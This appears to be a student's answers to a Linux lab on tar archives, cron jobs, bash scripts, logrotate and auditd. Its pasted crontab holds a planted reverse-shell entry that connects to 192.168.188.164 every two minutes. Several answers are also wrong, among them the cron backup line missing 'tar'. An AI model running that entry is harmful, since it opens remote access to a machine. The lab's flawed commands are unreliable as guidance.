



Archiving and Logging Data

Step 1: Create, Extract, Compress, and Manage tar Backup Archives

1. Command to **extract** the `TarDocs.tar` archive to the current directory:

I used: `tar xvf TarDocs.tar` while in the `~/Projects` folder. The files were extracted to the directory I was in.

2. Command to **create** the `Javaless_Doc.tar` archive from the `TarDocs/` directory, while excluding the `TarDocs/Documents/Java` directory:

Command is: `tar cvf Javaless_Doc.tar --exclude "Java" ~/Projects/TarDocs/Documents`. Note: If I wasn't already in the `~/Projects/TarDocs/Documents` directory it would have been necessary to specify the full path of the Java directory.

3. Command to ensure `Java/` is not in the new `Javaless_Docs.tar` archive:

I added `v` into the tar options, so I could see from the print out. However, you could use: `tar -tvf Javaless_Doc.tar`.

Source:

<https://tecadmin.net/create-tar-archive-excluding-some-files-directories/>

```

sysadmin@UbuntuDesktop:~/Projects/TarDocs/Documents$ ls
c++interviewquestions.pdf Design-Patterns Google-Maps-Hacks IntelliJIDEA_ReferenceCard.pdf Java Music-Sheets
sysadmin@UbuntuDesktop:~/Projects/TarDocs/Documents$ tar --exclude="Java" -cvf Javaless_Doc.tar
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
sysadmin@UbuntuDesktop:~/Projects/TarDocs/Documents$ tar cvf Javaless_Doc.tar --exclude "Java" ~/Projects/TarDocs/Documents/
tar: Removing leading '/' from member names
/home/sysadmin/Projects/TarDocs/Documents/
/home/sysadmin/Projects/TarDocs/Documents/Music-Sheets/
/home/sysadmin/Projects/TarDocs/Documents/Music-Sheets/Stairway-to-heaven-guitar.pdf
/home/sysadmin/Projects/TarDocs/Documents/Music-Sheets/Stairway-to-heaven-bass-tab.pdf
/home/sysadmin/Projects/TarDocs/Documents/Music-Sheets/Thumbs.db
/home/sysadmin/Projects/TarDocs/Documents/Music-Sheets/Stairway-to-heaven-piano-guitar-A-minor.pdf
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-6.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-5.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-1.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-7.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-4.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-2.PDF
/home/sysadmin/Projects/TarDocs/Documents/Google-Maps-Hacks/googlemaphshks-CHP-3.PDF
/home/sysadmin/Projects/TarDocs/Documents/IntelliJIDEA_ReferenceCard.pdf
/home/sysadmin/Projects/TarDocs/Documents/Design-Patterns/
/home/sysadmin/Projects/TarDocs/Documents/Design-Patterns/Head_First_Design_Patterns__2008_.pdf
/home/sysadmin/Projects/TarDocs/Documents/Design-Patterns/DesignPatterns.pdf
tar: /home/sysadmin/Projects/TarDocs/Documents/Javaless_Doc.tar: file is the archive; not dumped
/home/sysadmin/Projects/TarDocs/Documents/c++interviewquestions.pdf
sysadmin@UbuntuDesktop:~/Projects/TarDocs/Documents$

```

Critical Analysis Question

4. Why wouldn't you use the options `-x` and `-c` at the same time with `tar`?

The above options perform opposite operations. In fact, the `tar` command syntax varies depending on if you are creating an archive or extracting. For example, if you entered `tar -xvc TarEg.tar`, you would be extracting the files from `TarEg.tar`, listing them verbosely and creating a duplicate with the same name in the same directory. It would be one thing to view `TarEg.tar` and then move certain contents to another location, but running `x` and `c` simultaneously would be redundant. Most importantly, you cannot use them at the same time.

Step 2: Create, Manage, and Automate Cron Jobs

1. Cron job for backing up the `/var/log/auth.log` file:

```
GNU nano 2.9.3 /tmp/crontab.3uqPHU/crontab Modif
#Ansible: Connect to IP
*/2 * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.188.164/888 0>
#Ansible: back up jane's documents
*/2 * * * * cd /home/jane/Documents/ExploitTar && tar cf ../jane_doc
#Ansible: Existentially useless cron
*/2 * * * * touch /tmp/pointlessfile
#Ansible: check for rootkits
@daily bash /opt/chkrootkit/chkrootkit-0.53/chkrootkit
#Backup /var/log/auth.log (min hour day month day)
0 6 * * 3 -zcf /var/log/auth.log /auth_backup.tgz
```

I set up a cron job in crontab -e with root as a user. As you can see, I entered at every Wednesday at 6am, a gzip of /var/log/auth.log will be archived in /auth_backup.tgz

Step 3: Write Basic Bash Scripts

1. Brace expansion command to create the four subdirectories:

Command is `mkdir {freemem,diskuse,openlist,freedisk}`

2. Paste your `system.sh` script edits:

```
GNU nano 2.9.3                                system.sh
##set as script
#!/bin/bash

#print amount of free memory to free_mem.txt
free -h > ~/backups/freemem/free_mem.txt

#print disk usage and save to disk_usage.txt
du -h > ~/backups/diskuse/disk_usage.txt

#list all open files
lsof > ~/backups/openlist/open_list.txt

#prints file system disk space stats to free_disk.txt
df -h > ~/backups/freedisk/free_disk.txt
```

3. Command to make the `system.sh` script executable:

```
Command is chmod +x system.sh
```

Optional

4. Commands to test the script and confirm its execution:

```
Bash system.sh
```

Bonus

5. Command to copy `system` to system-wide cron directory:

```
At end of script: system.sh >> root/etc/cron.daily. I chose to append the
file since that has the same result as a cp command and has less syntax.
```

Step 4. Manage Log File Sizes

1. Run `sudo nano /etc/logrotate.conf` to edit the `logrotate` configuration file.

Configure a log rotation scheme that backs up authentication messages to the `/var/log/auth.log`.

- a. Add your config file edits:

```
GNU nano 2.9.3 /etc/logrotate.conf Modified
# see "man logrotate" for details
# rotate log files weekly
weekly

# Help the syslog group by default, since this is the owning group
# of /var/log/syslog.
su root syslog

# keep 4 weeks worth of backlogs
rotate 4

#Step 4. Manage Log Sizes
/var/log/auth.log {
    rotate 7
    weekly
    compress
    delaycompress
    missingok
    notifempty
}
```

See #Step 4. Manage Log Sizes above.

Bonus: Check for Policy and File Violations

1. Command to verify ``auditd`` is active:

- 1) `Sudo apt install auditd`
- 2) `Run systemctl status auditd`

```

sysadmin@UbuntuDesktop:~$ systemctl status auditd
● auditd.service - Security Auditing Service
   Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor pr
   Active: active (running) since Wed 2022-10-12 20:56:49 EDT; 1min 57s a
      Docs: man:auditd(8)
            https://github.com/linux-audit/audit-documentation
   Main PID: 3837 (auditd)
        Tasks: 2 (limit: 4675)
       CGroup: /system.slice/auditd.service
               └─3837 /sbin/auditd

Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: backlog_wait_time 15000
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: enabled 1
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: failure 1
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: pid 3837
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: rate_limit 0
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: backlog_limit 8192
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: lost 0
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: backlog 1
Oct 12 20:56:49 UbuntuDesktop augenrules[3843]: backlog_wait_time 0
Oct 12 20:56:49 UbuntuDesktop systemd[1]: Started Security Auditing Servi
lines 1-20/20 (END)

```

2. Command to set number of retained logs and maximum log file size:

```
1) Sudo nano /etc/audit/auditd.conf
```

Add the edits made to the configuration file:

```
Max_log_file = 10 and num_logs = 6
```

3. Command using `auditd` to set rules for `/etc/shadow`, `/etc/passwd`, and `/var/log/auth.log`:

```
Sudo nano /etc/audit/rules.d/audit.rules
```

Add the edits made to the `rules` file below:

```
GNU nano 2.9.3      /etc/audit/rules.d/audit.rules      Modified
## First rule - delete all
-D

## Increase the buffers to survive stress events.
## Make this bigger for busy systems
-b 8192

## This determine how long to wait in burst of events
--backlog_wait_time 0

## Set failure mode to syslog
-f 1

##Setting rules for /etc/shadow
-w /etc/shadow -p wra hashpass_audit

##Seting rules for /etc/passwd
-w /etc/passwd -p wra userpass_audit

##Setting rules for /var/log/auth.log
-w /var/log/auth.log -p wra authlog_audit
```

4. Command to restart `auditd`:

```
Sudo systemctl restart auditd
```

5. Command to list all `auditd` rules:

```
Auditctl -l
```

6. Command to produce an audit report:

```
Aureport -au
```